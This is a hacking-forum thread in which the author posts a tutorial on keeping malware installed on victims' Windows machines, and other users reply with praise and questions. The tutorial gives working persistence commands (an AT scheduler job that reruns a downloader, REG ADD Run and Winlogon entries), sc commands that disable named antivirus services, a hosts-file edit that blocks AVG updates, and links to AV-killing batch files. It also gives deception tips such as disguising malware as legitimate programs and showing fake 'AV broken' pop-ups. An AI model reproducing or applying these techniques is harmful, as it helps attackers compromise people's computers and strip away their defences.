[carecare]

Hey guys, I always try to come up with different approaches in ensuring FUD for a very long time, it's especially important in high-valued clients - let's face it if you crypt a server you'll probably get pass the AV/FW easily but if your unlucky their next AV update contains signatures matching your malware and your FUD file is useless, this problem is common in private/public crypters sharing a stub - If one get's detected all will.
Now theres always an option in trying to re-fud the victims to ensure their AV wont keep up, it's pretty efficient altough it's not guaranteed to work in most cases since you still don't know when their AV is having an update etc.

So what's my suggestion for this problem? Simple; Attack the AVs / Infect better!

Attack AVs?.. What?
Let's say you manage to screw up the victims AV's config files/re-route their AVs updates servers traffic to 127.0.0.1 the victim will NEVER find the trojan unless he re-install hes AV or (manually deletes it), He will have a false sense of security, and it's one of the best infecting ways there is, since the victim will believe hes fully protected and hes AV scans will never reveal your malware. Iv'e tried this method using an outdated RAT and it's still working (4-5mon) - Sure, we have AV bypassers but still, all those methods are temporary, after an update the AV bypasser will no longer be bypassed and it's bye-bye malware. What I want with this thread is mainly to enlighten coders/hackers with different approaches in this matter, and educate others on making sure they'll keep their victims.

This will be like a guide/suggestion type of thread, I will be writing about many usefull methods & suggestions
to ensure a long-lasting malware undetection.

Part 1: Infecting

Tips

• 
  


• Always link additional entry points to an downloader not your malware, why? They are easily FUD and they will redownload your malware - If your malware gets found it's bye-bye victim.
  
  


• Don't create obvious registry names like; server.exe , name as if it where an legit program, for ex: ieupdater.exe / java.exe / taskhost.exe /
  msnmsgr.exe
  
  


• In order to avoid suspection, put an appropiate icon on your files, lets say you create a registry entry named "ieupdater.exe" try to change the icon to match the appropiate process, in this case; the default Internet Explorers icon.
  
  


• In this case it's somewhat OK to overdo it since it only keeps the surviving chances higher on the victim, however be cautious on adding too much new entries since that will be suspicious aswell.
  

EXTRA Bypass ALL FW's notifies with some trickery!

Well, the truth is that most FWs will detect a downloader/rats network activity and pop-up an notify revealing the attackers IP, most users ignore this however the cautious ones wont, so what I like to do is basically using an redirect service like "no-ip.com for example" and redirect all traffic to google.com or appopiate program server bind while spreading, since most users will press "Always allow (dont ask again)" you can easily re-route the no-ip adress to your RAT anytime you want. Simple but effective!

~ Infecting methods & Sneaky tricks ~

# Take advantage of the Windows Task Scheduler

[IMG]http://img191.imageshack.us/img191/1393/cmdt.png[/IMG]

This is one thing I'm always amazed by why noone seems to take advantage of, Windows XP/Vista/7 has an built-in task program which will run tasks at given time - basically, we could use this and tell the computer to run a certain file every day at 11pm.

Example:

Code

AT 11:00 /every:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 "cmd.exe /c start C:\windows\downloader.exe"

Inserting that in cmd.exe will launch a hidden task which will start "downloader.exe" 11pm everyday. Make sure the service is started by typing; net start "task scheduler" it's on by default so it shoulden't be neccesary altough. So basically even if the victims AV detect your malware it will be redownloaded next day :)

# Link your malware from Startup Folder

[IMG]http://img651.imageshack.us/img651/3140/48213709.png[/IMG]

Windows XP Path (All users):
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

Windows XP Path (Current user):
C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup

Windows 7 Path (All users):
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Windows 7 Path (Current user):
C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

This is also a common technique which is sadly not used much since most people just put in infected .exe files making it too obvious, with some trickery it's a great place to link the malware!
The startup folder acts as an easy-to access folder which will start all associated programs in it during startup, we could easily use this for our malware, but to increase the legit factor we could insert an shortcut and name it "Internet Explorer" instead of just putting the malware.exe file in it, also in this case make sure the malware has an Internet Explorer icon :)

NOTE: Every user has hes own startup path, so don't be shy to add in theirs aswell :)

# Adding startup entries to the registry

[IMG]http://img222.imageshack.us/img222/755/regce.png[/IMG]

This method is the most common one, but it can be good to have as an reference, so i included some good registry point entries which will trigger on startup, launching your malware.

HKLM/CurrentVersion/Run
Spoiler (Click to View)

Code

Triggers: Startup (Local Machine)
Located: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Method: REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v malware /t REG_SZ /d "C:\malware.exe" /f

HKLM/CurrentVersion/RunOnce
Spoiler (Click to View)

Code

Triggers: Startup (Local User)
Located: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Method: REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v malware /t REG_SZ /d "C:\malware.exe" /f

HKCU/CurrentVersion/Run
Spoiler (Click to View)

Code

Triggers: Startup (Local User)
Located: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Method: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v malware /t REG_SZ /d "C:\malware.exe" /f

HKCU/CurrentVersion/RunOnce
Spoiler (Click to View)

Code

Triggers: Startup (Local User, value needs to be re-added each startup)
Located: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Method: REG ADD HKCU\Microsoft\Windows\CurrentVersion\RunOnce /v malware /t REG_SZ /d "C:\malware.exe" /f

User init (same as in the preview image)
Spoiler (Click to View)

Code

Triggers: Windows logon
Located: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
Method: REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe, C:\malware.exe"
Note: Since windows reg add don't have any append method the key either needs to be overwritten or; exported -> edited -> added
Since it by default only contains Userinit.exe it should be OK, altough be careful to keep the Userinit.exe in the key since it's needed in order for the OS to login.

# Adding ActiveX startup

This is another sneaky registry entry point that we can use, the best thing with this one is that it's not visible in ie. msconfig.

(no more space check page 3)

##

Part 2: Attack the AV's

Tips

• 
  


• Try not to run these Anti-AV killers at runtime since most AV's will detect this behaviour and prevent it, so try to add them in Winlogon so they'll execute before the AV :)
  
  


• Never include Anti AV's in your actual malware, bind it.
  
  


• False warnings, Another trick you can use is to tell the victim that he's AV is broken and needs to be re-installed (by a Pop up or whatever) Then he will hopefully reinstall the files himself and you can take appropiate action.
  
  


• Do it yourself, This especially affects the RAT users, if you have a RAT you DO HAVE full access to hes system, so take advantage of that! Wait untill the victim has an idle status - open remote desktop and remove AV files/add your malware to trusted files remotely, just don't go too far like uninstalling it since he obviously will detect that he has no AV :)
  

~ Kill AV's & make them useless ~

# Kill AV Processes
If the AV isn't running it can't update - If it can't update and protect it won't be a threat, simple as that.
Heres a .bat file which will try to disable most of the common AV's by termintating their process.

Download here: http://pastebin.com/T9Bdx5TJ

NOTE: Some AV's use process protection, so these methods isn't 100 accurate!

# Remove AV files
Another approach is to remove the AV files making the AV unable to operate correctly.
Heres a .bat file which will try to remove most of the common AV's by deleting their files.

Download here: http://pastebin.com/Ar7W6m9j

NOTE: Some AV's got file-protection and will surerly notice this, make sure to add this as an boot-option so it'll operate before the AV.

# Disable AV services
This in one of the best approaches, using windows system configuration tool we can untick services at startup (as if you had done manually from msconfig) You may ask why not disable them directly by using "net stop *service*"? Problem there is that the services used by the AV's is in most cases protected, however we can bypass this by unticking them at the startup!

Example code:

Code

rem Disables Kaspersky Antivirus service
sc config ksvsvc start= disabled

rem Disables Comodos Protection Service
sc config cmdagent start= disabled

rem Disables Norton Antivirus
sc config navapsvc start= disabled

rem Disables Ad-aware Services
sc config aawservice start= disabled

In this example Iv'e disabled 3 AV's and 1 Anti-Spyware, the trick here is too find the services used by the AV's

NOTE: Every action requires an restart in order to take affect, also if possible try to run these at WinLogon :)

# Disable AV updates
This is one of my favorites, it's sneaky and it doesen't require any touching on the actual AV/FW files.
As most of you know Windows has a file named "hosts" which is located here:

Windows XP/Vista/7: c:\windows\system32\drivers\etc\hosts

The hosts file is used for mapping hostnames to IP adresses, with this we can re-route all AV traffic to any IP we want, making them unable to update.

Default hosts file:

Code

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#  102.54.94.97  rhino.acme.com    # source server
#  38.25.63.10  x.acme.com    # x client host

# localhost name resolution is handled within DNS itself.
#    127.0.0.1  localhost
#    ::1  localhost

Modified hosts file:

Code

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#  102.54.94.97  rhino.acme.com    # source server
#  38.25.63.10  x.acme.com    # x client host

# localhost name resolution is handled within DNS itself.
#    127.0.0.1  localhost
#    ::1  localhost
127.0.0.1  *avg.com
127.0.0.1                avg.com
127.0.0.1                guru.avg.com
127.0.0.1                update.avg.com

In this example I disabled the AVG update servers by re-routing them to localhost, using this method you can add a number of AV update servers and prevent them from updating.

NOTE: This action is detected by many AVs/Security tools so I suggest trying to disable the AV first if your planning on editing it runtime.

##

Conclusion

Infecting a victim properly can save you from having to re-fud and will lasts untill he decides to reformat hes computer, I hope you learned something new from this guide, please elabroate more methods in the thread :)

I wrote this guide today, If i forgot to add something please tell me, I'll update it frequently! Thanks.

[aymi68]

First Comment , Nice tutorial :) , thank's

[wisd0m]

Very detailed tutorial, great contribution!

[soft2050]

nice tutorial
thanks dude
Keep it up

[Developer]

Another amazing tutorial by you, my friend. You don't stop to impress me with your work.

[dwarf]

This is amazing.

So if I load the AV-killer in winlogon, the AV can do nothing to stop it?

[KEYIRC]

Nice tutorial dude.

Keep up the good work :)

Peace

[iZan]

Fantastic tutorial. Thank you! I used the batch command on my friends computer(He isn't going to have internet anymore so he said I could test it) and it did disable his firewall, but not his A/V.

[carecare]

Thanks for the comment guys! :)

This is amazing.

So if I load the AV-killer in winlogon, the AV can do nothing to stop it?

Nope, Altough some AV's have services that monitors the files so another option might be to disable the services aswell, I'll add that in the TUT later :)

Fantastic tutorial. Thank you! I used the batch command on my friends computer(He isn't going to have internet anymore so he said I could test it) and it did disable his firewall, but not his A/V.

Thanks! What AV is he using? Every AV has it's own process names, the .bat file isn't working on all AV's altough most of them, try to find the process names for the AV and add them to the .bat file.

[carecare]

UPDATE: Added english thumbs, added more ANTI-AV methods by adding service disables.

[dwarf]

This is one thing I'm always amazed by why noone seems to take advantage of, Windows XP/Vista/7 has an built-in task program which will run tasks at given time - basically, we could use this and tell the computer to run a certain file every day at 11pm.

Example:

Code

AT 11:00 /every:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 "cmd.exe /c start C:\windows\downloader.exe"

I think the reason nobody uses this is because you have to run cmd as administrator (in Vista / 7), otherwise it wont allow to run these commands.

[carecare]

I think the reason nobody uses this is because you have to run cmd as administrator (in Vista / 7), otherwise it wont allow to run these commands.

Well, administrator prividliges is needed for almost everything involving system changes, a RAT for example won't be able to operate correctly & can have problems with installing running on an default user with no admin.

[bobblejim]

Thanks alot this was a great read. Very much appreciated.

[dwarf]

I just discovered that this doesnt require admin privileges:
HKCU/CurrentVersion/Run
Spoiler (Click to View)

Code

Triggers: Startup (Local User)
Located: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Method: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v malware /t REG_SZ /d "C:\malware.exe" /f

But this one does:
HKLM/CurrentVersion/Run
Spoiler (Click to View)

Code

Triggers: Startup (Local Machine)
Located: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Method: REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v malware /t REG_SZ /d "C:\malware.exe" /f

[seskanda]

Its always better to bypass AV's then disabling them, but overall good tut